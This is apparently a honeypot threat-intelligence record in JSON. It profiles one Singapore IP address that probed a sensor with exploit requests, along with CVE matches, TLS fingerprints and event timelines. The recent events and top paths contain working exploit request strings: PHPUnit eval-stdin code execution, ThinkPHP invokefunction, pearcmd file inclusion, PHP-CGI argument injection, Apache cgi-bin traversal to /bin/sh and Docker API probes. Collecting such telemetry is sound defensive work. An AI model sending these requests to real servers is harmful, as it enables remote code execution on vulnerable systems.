{"ip":"121.6.96.149","observed":true,"total_events":50,"verdict":{"verdict":"malicious","label":"Exploit attempts observed","detail":"45 exploit-path hits","confidence":"high","network_type":null,"why":["45 request(s) matched a known exploit path.","Body-carrying methods (POST/PUT/PATCH/DELETE) seen: payload delivery, not just recon.","5+ hits raise confidence to high.","Not in any known-scanner range.","Sent 610,244 bytes: sustained payload delivery, not a single opportunistic request."],"engagement":{"level":"payload","label":"Sustained payload","detail":"610,244 bytes sent","bytes_sent":610244,"session_seconds":39,"persistent":false},"basis":"first_contact"},"first_seen":"2026-10-18T21:44:36","last_seen":"2026-10-19T20:55:19","events_24h":1,"events_7d":50,"interactive_sessions":0,"interactive_sessions_24h":0,"interactive_sessions_7d":0,"interactive_protocols":[],"geo":{"country_code":"SG","country_name":"Singapore","region":"","city":"Singapore","lat":1.3552,"lon":103.8859,"asn":9506,"org":"Singtel Fibre Broadband"},"source_domain":"bb121-6-96-149.singnet.com.sg","known_scanners":[],"scanner_tag":null,"cve_matches":[{"cve_id":"CVE-2017-9841","title":"PHPUnit - Remote Code Execution","severity":"critical","actively_exploited":true,"match_field":"url_path","matched_pattern":"/laravel/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php","kev_date_added":"2022-02-15"},{"cve_id":"CVE-2021-42013","title":"Apache 2.4.49/2.4.50 - Path Traversal and Remote Code Execution","severity":"critical","actively_exploited":true,"match_field":"url_path","matched_pattern":"/cgi-bin/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/bin/sh","kev_date_added":"2021-11-03"},{"cve_id":"CVE-2021-41773","title":"Apache 2.4.49 - Path Traversal and Remote Code Execution","severity":"high","actively_exploited":true,"match_field":"url_path","matched_pattern":"/cgi-bin/.%2e","kev_date_added":"2021-11-03"}],"malware":[],"udp":null,"interaction":null,"top_ports":[{"port":443,"proto":"tcp","label":"HTTPS","count":49},{"port":2375,"proto":"tcp","label":"Docker","count":1}],"fingerprints":{"ssh_hassh":[],"tls_ja4":["t13i170900_5b57614c22b0_78e6aca7449b"],"tls_client_hello":"16030105b9010005b50303cc135ded87756f4d7e72a6f1883234ffa336502f8296640c6f265012f53906f520cf344df4597ad007c75a2eac441d45544c9bcfe32694180ea592f7f85e1a238200242a2a130113021303c02bc02fc02cc030cca9cca8c009c013c00ac014009c009d002f0035010005480a0a000000170000ff01000100000a000c000a8a8a11ec001d00170018000b0002010000230000000d00140012040308040401050308050501080606010201003304ef04ed8a8a00010011ec04c03ff780728c8f799bb84d453782e6195546309eda9ab008cce80970ad1098a5b63bf28c15a3fabc0aa1002c93057fba12d1b2a67f17994c0c9576e83e8a82011e1665d0dc234d843495aab81e3052f1d688e6e5acaa057b2bb0aaa9489f583c6c41194d1d8a8ebbcc5afa3206c001182461122566ae15961ff03724b1363026674011371746eb183667690865c132d6b70e4a86eba422d5e13e336099a565773ce03da63c4b40565165bca95676c8fe817ad8c376c0b5bcfe5480c2025d98317397ab709026b1c85c531d71c2e95790f9458246593f2662887ae63c32596f831c88bab54a8eb3a9013909e5608611f34922f521d13a81dd364319f45c43d5cc145858f017ce4d761694c2839404bc27652d8af998ac574debcb849a476c9abb42e74140fa282c84dc4b0dd41d5324a0b32624e03cbd32d3a3c76478beda0744190192085a92170b58f730ee3739bbe507faa21f226490998058ef73193ebc7e012cb500b18c03e4175de527f7f3158c49cf0498c30d2b06cac43f53bb2c4e105cfce2596ecc2e69c41d7e1113f7d6214965599473c430a1aeeb25c3a1a60355b2c8d3737b00e06f0db964991b76e0b004dd530a2dd4bbb92c07e3bcb55ed3434d6bcf70711c7228a4b3257a67dc4416fc3f67734f6e0c42866c78a4a68eb5db021ea7582a15a73978408f00c18ff2a95fd1c50e23b6c646b12a74226ca51858987bb7b13fd0e5742f9c5ace2b0794599a5256663f0aa2621c0e512a145bb7bdd6bac506613e71c4b4203a192930412f88c134b730843617013c2f083a5d040601be70a1ca52a784474f6ee305a0eb5b728161c146945869988c9ba37ee9820ba18db555933527a302f83d2bd8603881409a9bb029da067ca8c113ab6a2ff8bb8d233fe1e265a475c9330aca745c2e6727254c8c420728c849f9abc20848bcc9b4307137ac64861ef02661c0626ec01a649a5a638292b2f00eb818541fa0b0e9acba819a87e6c99ac4c12f1fdb0b60c787fa47bbb34c15753a80c6b378f22a8ea1b72a4ef1bba9d2b071674e2cf848860bcf803611556808ee997b83224dbf105f2ce2b970f14f6460cb83c352b9a836d3397ef63b3c3a60583f120ff547389726a19f8ccae608ad7b75c7d04bbbe76b5cfc51c60093a74aec50b9c79e51c86db832befbc617a65baf6cc2bef282cf2c827b83a8575488cf2e00a6b70ba87abb0cf37cb86e4c8c839a4a42911c85646753d4b98493bdf82189319c934063c078120b59710d96ac3631a0a138d6412cd9af19835ae3444aa1a14bd2313682aa53bf13c3e4134df13a964de97133bc3902557f1c503daa506a8497a91a206a707b797c61b9f316c6b3271c46d475656b986f3b19a7b844f923c970b5a63f40a0e4524609a3393a02c90ef9301897c238316a88a47743a5bf7a0323b0d6bc84f805cc3baadcb00e5c3a128328a6fd1aae33468c5b57b77bdc1673fb504480ab39c92b7038835d598daab18642fb32a369b44611a73ca2cbe4bcbb49b1af16931b9cccb0740b59ae395a4ee47503347027d0977032a4eac9ab3eb1439c4a9a61515ae9071ce6e004f59192b8a0652a0c7e5ff0b87a134b9f52b8380838fc2b956fac434b129d7f1eb3031d4acf9555993f53c75b0bcf377f492f8d9a0512687d4c456aaf84c746f8ea75f5cc20260815bed77fd3ef65c2f63209fc4b1e9dbfd0f8b76f001d002069f4bbdf801304cdc3c5c1299993e8af34e8bb30eaca41691899a9464b5c4c5a002d00020101002b000706caca030403037a7a0001","tls_ja3":["052a5e65c3a64e860e1706b1de3c46a9"],"http_akin":["b11cun050_00040035_dd905059","b11cuq070_00050835_c0b30902"],"interactive":{"ssh_hassh":[],"tls_ja4":[],"tls_ja3":[]}},"fingerprint_peers":{"t13i170900_5b57614c22b0_78e6aca7449b":149,"b11cun050_00040035_dd905059":277,"b11cuq070_00050835_c0b30902":220},"akin_families":{},"user_agents":["libredtail-http"],"timeline":[{"date":"2026-10-18","count":49},{"date":"2026-10-19","count":1}],"recent_events":[{"timestamp":"2026-10-19T20:55:19","port":2375,"proto":"tcp","app_proto":"","app_protocol":"http","host":"<HONEYPOT>","headers":"{\"accept\":\"*/*\",\"connection\":\"keep-alive\",\"host\":\"<HONEYPOT>:2375\",\"upgrade-insecure-requests\":\"1\",\"user-agent\":\"libredtail-http\"}","body":"","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"/containers/json","summary":"","payload_hex":"474554202f636f6e7461696e6572732f6a736f6e20485454502f312e310d0a557067726164652d496e7365637572652d52657175657374733a20310d0a4163636570743a202a2f2a0d0a486f73743a20<HONEYPOT>3a323337350d0a557365722d4167656e743a206c69627265647461696c2d687474700d0a436f6e6e656374696f6e3a206b6565702d616c6976650d0a0d0a","method":"GET","user_agent":"libredtail-http","ja3":"","session":"8c55b6b7-311a-4335-b7bc-59f92b58dc83","seq":1,"duration_ms":100,"bytes_in":155,"bytes_out":77},{"timestamp":"2026-10-18T21:45:15","port":443,"proto":"tcp","app_proto":"tls","app_protocol":"http","host":"<HONEYPOT>","headers":"{\"accept\":\"*/*\",\"connection\":\"keep-alive\",\"host\":\"<HONEYPOT>:443\",\"upgrade-insecure-requests\":\"1\",\"user-agent\":\"libredtail-http\"}","body":"","sni":"","tls_cipher":"TLS_AES_128_GCM_SHA256","tls_version":"TLSv1.3","alpn":[],"url_path":"/containers/json","summary":"","payload_hex":"474554202f636f6e7461696e6572732f6a736f6e20485454502f312e310d0a557365722d4167656e743a206c69627265647461696c2d687474700d0a436f6e6e656374696f6e3a206b6565702d616c6976650d0a557067726164652d496e7365637572652d52657175657374733a20310d0a4163636570743a202a2f2a0d0a486f73743a20<HONEYPOT>3a3434330d0a0d0a","method":"GET","user_agent":"libredtail-http","ja3":"052a5e65c3a64e860e1706b1de3c46a9","session":"5c7e0331-12b5-46d1-ba58-35f4f32c6559","seq":49,"duration_ms":38968,"bytes_in":19215,"bytes_out":3773},{"timestamp":"2026-10-18T21:45:14","port":443,"proto":"tcp","app_proto":"tls","app_protocol":"http","host":"<HONEYPOT>","headers":"{\"accept\":\"*/*\",\"connection\":\"keep-alive\",\"host\":\"<HONEYPOT>:443\",\"upgrade-insecure-requests\":\"1\",\"user-agent\":\"libredtail-http\"}","body":"","sni":"","tls_cipher":"TLS_AES_128_GCM_SHA256","tls_version":"TLSv1.3","alpn":[],"url_path":"/index.php?lang=../../../../../../../../tmp/index1","summary":"","payload_hex":"474554202f696e6465782e7068703f6c616e673d2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f746d702f696e6465783120485454502f312e310d0a557365722d4167656e743a206c69627265647461696c2d687474700d0a436f6e6e656374696f6e3a206b6565702d616c6976650d0a557067726164652d496e7365637572652d52657175657374733a20310d0a4163636570743a202a2f2a0d0a486f73743a20<HONEYPOT>3a3434330d0a0d0a","method":"GET","user_agent":"libredtail-http","ja3":"052a5e65c3a64e860e1706b1de3c46a9","session":"5c7e0331-12b5-46d1-ba58-35f4f32c6559","seq":48,"duration_ms":38013,"bytes_in":19060,"bytes_out":3696},{"timestamp":"2026-10-18T21:45:13","port":443,"proto":"tcp","app_proto":"tls","app_protocol":"http","host":"<HONEYPOT>","headers":"{\"accept\":\"*/*\",\"connection\":\"keep-alive\",\"host\":\"<HONEYPOT>:443\",\"upgrade-insecure-requests\":\"1\",\"user-agent\":\"libredtail-http\"}","body":"","sni":"","tls_cipher":"TLS_AES_128_GCM_SHA256","tls_version":"TLSv1.3","alpn":[],"url_path":"/index.php?lang=../../../../../../../../usr/local/lib/php/pearcmd&+config-create+/&/<?echo(md5(\"hi\"));?>+/tmp/index1.php","summary":"","payload_hex":"474554202f696e6465782e7068703f6c616e673d2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f7573722f6c6f63616c2f6c69622f7068702f70656172636d64262b636f6e6669672d6372656174652b2f262f3c3f6563686f286d6435282268692229293b3f3e2b2f746d702f696e646578312e70687020485454502f312e310d0a557365722d4167656e743a206c69627265647461696c2d687474700d0a436f6e6e656374696f6e3a206b6565702d616c6976650d0a557067726164652d496e7365637572652d52657175657374733a20310d0a4163636570743a202a2f2a0d0a486f73743a20<HONEYPOT>3a3434330d0a0d0a","method":"GET","user_agent":"libredtail-http","ja3":"052a5e65c3a64e860e1706b1de3c46a9","session":"5c7e0331-12b5-46d1-ba58-35f4f32c6559","seq":47,"duration_ms":37031,"bytes_in":18871,"bytes_out":3619},{"timestamp":"2026-10-18T21:45:12","port":443,"proto":"tcp","app_proto":"tls","app_protocol":"http","host":"<HONEYPOT>","headers":"{\"accept\":\"*/*\",\"connection\":\"keep-alive\",\"host\":\"<HONEYPOT>:443\",\"upgrade-insecure-requests\":\"1\",\"user-agent\":\"libredtail-http\"}","body":"","sni":"","tls_cipher":"TLS_AES_128_GCM_SHA256","tls_version":"TLSv1.3","alpn":[],"url_path":"/public/index.php?s=/index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1][]=Hello","summary":"","payload_hex":"474554202f7075626c69632f696e6465782e7068703f733d2f696e6465782f5c7468696e6b5c6170702f696e766f6b6566756e6374696f6e2666756e6374696f6e3d63616c6c5f757365725f66756e635f617272617926766172735b305d3d6d643526766172735b315d5b5d3d48656c6c6f20485454502f312e310d0a557365722d4167656e743a206c69627265647461696c2d687474700d0a436f6e6e656374696f6e3a206b6565702d616c6976650d0a557067726164652d496e7365637572652d52657175657374733a20310d0a4163636570743a202a2f2a0d0a486f73743a20<HONEYPOT>3a3434330d0a0d0a","method":"GET","user_agent":"libredtail-http","ja3":"052a5e65c3a64e860e1706b1de3c46a9","session":"5c7e0331-12b5-46d1-ba58-35f4f32c6559","seq":46,"duration_ms":35972,"bytes_in":18612,"bytes_out":3542},{"timestamp":"2026-10-18T21:45:11","port":443,"proto":"tcp","app_proto":"tls","app_protocol":"http","host":"<HONEYPOT>","headers":"{\"accept\":\"*/*\",\"connection\":\"keep-alive\",\"host\":\"<HONEYPOT>:443\",\"upgrade-insecure-requests\":\"1\",\"user-agent\":\"libredtail-http\"}","body":"","sni":"","tls_cipher":"TLS_AES_128_GCM_SHA256","tls_version":"TLSv1.3","alpn":[],"url_path":"/index.php?s=/index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1][]=Hello","summary":"","payload_hex":"474554202f696e6465782e7068703f733d2f696e6465782f5c7468696e6b5c6170702f696e766f6b6566756e6374696f6e2666756e6374696f6e3d63616c6c5f757365725f66756e635f617272617926766172735b305d3d6d643526766172735b315d5b5d3d48656c6c6f20485454502f312e310d0a557365722d4167656e743a206c69627265647461696c2d687474700d0a436f6e6e656374696f6e3a206b6565702d616c6976650d0a557067726164652d496e7365637572652d52657175657374733a20310d0a4163636570743a202a2f2a0d0a486f73743a20<HONEYPOT>3a3434330d0a0d0a","method":"GET","user_agent":"libredtail-http","ja3":"052a5e65c3a64e860e1706b1de3c46a9","session":"5c7e0331-12b5-46d1-ba58-35f4f32c6559","seq":45,"duration_ms":34999,"bytes_in":18363,"bytes_out":3465},{"timestamp":"2026-10-18T21:45:10","port":443,"proto":"tcp","app_proto":"tls","app_protocol":"http","host":"<HONEYPOT>","headers":"{\"accept\":\"*/*\",\"connection\":\"keep-alive\",\"content-length\":\"33\",\"content-type\":\"text/plain\",\"host\":\"<HONEYPOT>:443\",\"upgrade-insecure-requests\":\"1\",\"user-agent\":\"libredtail-http\"}","body":"<?php echo(md5(\"Hello PHPUnit\"));","sni":"","tls_cipher":"TLS_AES_128_GCM_SHA256","tls_version":"TLSv1.3","alpn":[],"url_path":"/app/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php","summary":"","payload_hex":"474554202f6170702f76656e646f722f706870756e69742f706870756e69742f7372632f5574696c2f5048502f6576616c2d737464696e2e70687020485454502f312e310d0a557365722d4167656e743a206c69627265647461696c2d687474700d0a436f6e6e656374696f6e3a206b6565702d616c6976650d0a557067726164652d496e7365637572652d52657175657374733a20310d0a4163636570743a202a2f2a0d0a486f73743a20<HONEYPOT>3a3434330d0a436f6e74656e742d547970653a20746578742f706c61696e0d0a436f6e74656e742d4c656e6774683a2033330d0a0d0a3c3f706870206563686f286d6435282248656c6c6f20504850556e69742229293b","method":"GET","user_agent":"libredtail-http","ja3":"052a5e65c3a64e860e1706b1de3c46a9","session":"5c7e0331-12b5-46d1-ba58-35f4f32c6559","seq":44,"duration_ms":34082,"bytes_in":18121,"bytes_out":3388},{"timestamp":"2026-10-18T21:45:09","port":443,"proto":"tcp","app_proto":"tls","app_protocol":"http","host":"<HONEYPOT>","headers":"{\"accept\":\"*/*\",\"connection\":\"keep-alive\",\"content-length\":\"33\",\"content-type\":\"text/plain\",\"host\":\"<HONEYPOT>:443\",\"upgrade-insecure-requests\":\"1\",\"user-agent\":\"libredtail-http\"}","body":"<?php echo(md5(\"Hello PHPUnit\"));","sni":"","tls_cipher":"TLS_AES_128_GCM_SHA256","tls_version":"TLSv1.3","alpn":[],"url_path":"/apps/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php","summary":"","payload_hex":"474554202f617070732f76656e646f722f706870756e69742f706870756e69742f7372632f5574696c2f5048502f6576616c2d737464696e2e70687020485454502f312e310d0a557365722d4167656e743a206c69627265647461696c2d687474700d0a436f6e6e656374696f6e3a206b6565702d616c6976650d0a557067726164652d496e7365637572652d52657175657374733a20310d0a4163636570743a202a2f2a0d0a486f73743a20<HONEYPOT>3a3434330d0a436f6e74656e742d547970653a20746578742f706c61696e0d0a436f6e74656e742d4c656e6774683a2033330d0a0d0a3c3f706870206563686f286d6435282248656c6c6f20504850556e69742229293b","method":"GET","user_agent":"libredtail-http","ja3":"052a5e65c3a64e860e1706b1de3c46a9","session":"5c7e0331-12b5-46d1-ba58-35f4f32c6559","seq":43,"duration_ms":33305,"bytes_in":17848,"bytes_out":3311},{"timestamp":"2026-10-18T21:45:08","port":443,"proto":"tcp","app_proto":"tls","app_protocol":"http","host":"<HONEYPOT>","headers":"{\"accept\":\"*/*\",\"connection\":\"keep-alive\",\"content-length\":\"33\",\"content-type\":\"text/plain\",\"host\":\"<HONEYPOT>:443\",\"upgrade-insecure-requests\":\"1\",\"user-agent\":\"libredtail-http\"}","body":"<?php echo(md5(\"Hello PHPUnit\"));","sni":"","tls_cipher":"TLS_AES_128_GCM_SHA256","tls_version":"TLSv1.3","alpn":[],"url_path":"/public/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php","summary":"","payload_hex":"474554202f7075626c69632f76656e646f722f706870756e69742f706870756e69742f7372632f5574696c2f5048502f6576616c2d737464696e2e70687020485454502f312e310d0a557365722d4167656e743a206c69627265647461696c2d687474700d0a436f6e6e656374696f6e3a206b6565702d616c6976650d0a557067726164652d496e7365637572652d52657175657374733a20310d0a4163636570743a202a2f2a0d0a486f73743a20<HONEYPOT>3a3434330d0a436f6e74656e742d547970653a20746578742f706c61696e0d0a436f6e74656e742d4c656e6774683a2033330d0a0d0a3c3f706870206563686f286d6435282248656c6c6f20504850556e69742229293b","method":"GET","user_agent":"libredtail-http","ja3":"052a5e65c3a64e860e1706b1de3c46a9","session":"5c7e0331-12b5-46d1-ba58-35f4f32c6559","seq":42,"duration_ms":32519,"bytes_in":17574,"bytes_out":3234},{"timestamp":"2026-10-18T21:45:07","port":443,"proto":"tcp","app_proto":"tls","app_protocol":"http","host":"<HONEYPOT>","headers":"{\"accept\":\"*/*\",\"connection\":\"keep-alive\",\"content-length\":\"33\",\"content-type\":\"text/plain\",\"host\":\"<HONEYPOT>:443\",\"upgrade-insecure-requests\":\"1\",\"user-agent\":\"libredtail-http\"}","body":"<?php echo(md5(\"Hello PHPUnit\"));","sni":"","tls_cipher":"TLS_AES_128_GCM_SHA256","tls_version":"TLSv1.3","alpn":[],"url_path":"/panel/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php","summary":"","payload_hex":"474554202f70616e656c2f76656e646f722f706870756e69742f706870756e69742f7372632f5574696c2f5048502f6576616c2d737464696e2e70687020485454502f312e310d0a557365722d4167656e743a206c69627265647461696c2d687474700d0a436f6e6e656374696f6e3a206b6565702d616c6976650d0a557067726164652d496e7365637572652d52657175657374733a20310d0a4163636570743a202a2f2a0d0a486f73743a20<HONEYPOT>3a3434330d0a436f6e74656e742d547970653a20746578742f706c61696e0d0a436f6e74656e742d4c656e6774683a2033330d0a0d0a3c3f706870206563686f286d6435282248656c6c6f20504850556e69742229293b","method":"GET","user_agent":"libredtail-http","ja3":"052a5e65c3a64e860e1706b1de3c46a9","session":"5c7e0331-12b5-46d1-ba58-35f4f32c6559","seq":41,"duration_ms":31746,"bytes_in":17298,"bytes_out":3157}],"http_methods":[{"method":"GET","count":43},{"method":"POST","count":7}],"distinct_ports_total":2,"top_paths":[{"path":"/containers/json","count":2,"ports":2},{"path":"/lib/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php","count":1,"ports":1},{"path":"/index.php?s=/index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1][]=Hello","count":1,"ports":1},{"path":"/vendor/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php","count":1,"ports":1},{"path":"/public/index.php?s=/index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1][]=Hello","count":1,"ports":1},{"path":"/crm/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php","count":1,"ports":1},{"path":"/hello.world?%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input","count":1,"ports":1},{"path":"/zend/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php","count":1,"ports":1},{"path":"/blog/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php","count":1,"ports":1},{"path":"/apps/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php","count":1,"ports":1},{"path":"/vendor/phpunit/phpunit/Util/PHP/eval-stdin.php","count":1,"ports":1},{"path":"/lib/phpunit/phpunit/Util/PHP/eval-stdin.php","count":1,"ports":1},{"path":"/phpunit/phpunit/src/Util/PHP/eval-stdin.php","count":1,"ports":1},{"path":"/lib/phpunit/Util/PHP/eval-stdin.php","count":1,"ports":1},{"path":"/panel/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php","count":1,"ports":1}],"distinct_paths_total":49,"top_snis":[],"top_hosts":[],"top_alpns":[],"banners":[],"credentials":[],"header_profile":{"signature":["Accept","Connection","Content-Length","Content-Type","Host","Upgrade-Insecure-Requests","User-Agent"],"representative":[{"name":"Accept","value":"*/*","notable":false},{"name":"Connection","value":"keep-alive","notable":false},{"name":"Content-Length","value":"33","notable":false},{"name":"Content-Type","value":"text/plain","notable":true},{"name":"Host","value":"<HONEYPOT>:443","notable":false},{"name":"Upgrade-Insecure-Requests","value":"1","notable":false},{"name":"User-Agent","value":"libredtail-http","notable":false}],"distinct_sets":2,"events_with_headers":10},"tags":[{"tag_id":"CVE-2017-9841","tag_type":"cve","title":"PHPUnit - Remote Code Execution","severity":"critical","actively_exploited":true,"match_field":"url_path","matched_pattern":"/laravel/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php","reference_urls":["https://github.com/cyberharsh/Php-unit-CVE-2017-9841","https://github.com/RandomRobbieBF/phpunit-brute","https://thephp.cc/articles/phpunit-a-security-risk","https://twitter.com/sec715/status/1411517028012158976","https://nvd.nist.gov/vuln/detail/CVE-2017-9841"],"kev_date_added":"2022-02-15"},{"tag_id":"CVE-2021-42013","tag_type":"cve","title":"Apache 2.4.49/2.4.50 - Path Traversal and Remote Code Execution","severity":"critical","actively_exploited":true,"match_field":"url_path","matched_pattern":"/cgi-bin/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/bin/sh","reference_urls":["https://httpd.apache.org/security/vulnerabilities_24.html","https://github.com/apache/httpd/commit/5c385f2b6c8352e2ca0665e66af022d6e936db6d","https://nvd.nist.gov/vuln/detail/CVE-2021-42013","https://twitter.com/itsecurityco/status/1446136957117943815","http://jvn.jp/en/jp/JVN51106450/index.html"],"kev_date_added":"2021-11-03"},{"tag_id":"CVE-2021-41773","tag_type":"cve","title":"Apache 2.4.49 - Path Traversal and Remote Code Execution","severity":"high","actively_exploited":true,"match_field":"url_path","matched_pattern":"/cgi-bin/.%2e","reference_urls":["https://nvd.nist.gov/vuln/detail/CVE-2021-41773","https://httpd.apache.org/security/vulnerabilities_24.html","https://www.exploit-db.com/exploits/50383","https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2021-41773"],"kev_date_added":"2021-11-03"}],"data_as_of":"2026-10-20T11:55:24.059548+00:00"}